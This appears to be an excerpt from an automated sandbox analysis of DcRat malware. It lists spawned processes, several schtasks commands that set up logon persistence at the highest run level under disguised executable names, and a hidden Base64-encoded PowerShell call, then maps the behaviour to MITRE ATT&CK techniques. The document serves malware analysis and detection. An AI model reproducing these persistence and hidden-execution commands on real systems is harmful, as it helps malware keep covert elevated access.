- DcRat
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2112

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "cmd" /sc ONLOGON /tr "'C:\Program Files (x86)\Microsoft SQL Server Compact Edition\v3.5\Desktop\cmd.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2240

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "dllhost" /sc ONLOGON /tr "'C:\Windows\System32\api-ms-win-crt-private-l1-1-0\dllhost.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1044

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "dllhost" /sc ONLOGON /tr "'C:\PerfLogs\Admin\dllhost.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2660

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "arnatic_3" /sc ONLOGON /tr "'C:\Users\Admin\AppData\Local\Temp\7zS034C9926\arnatic_3\arnatic_3.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2488

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "arnatic_3" /sc ONLOGON /tr "'C:\Users\Admin\AppData\Local\Temp\7zS034C9926\libcurlpp\arnatic_3.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2828

C:\Windows\system32\taskeng.exe
taskeng.exe {2B07CD42-32C0-4311-B407-F4C7B0C6B481} S-1-5-21-1405931862-909307831-4085185274-1000:GZAATBZA\Admin:Interactive:[1]
1⤵
PID:2240

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
2⤵
PID:2000

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Scheduled Task

Persistence

Modify Existing Service

T1031

Registry Run Keys / Startup Folder

T1060

Scheduled Task

Privilege Escalation

Scheduled Task

Defense Evasion

Modify Registry

Disabling Security Tools

T1089

Install Root Certificate

T1130

Credential Access

Credentials in Files

T1081

Discovery

Query Registry

System Information Discovery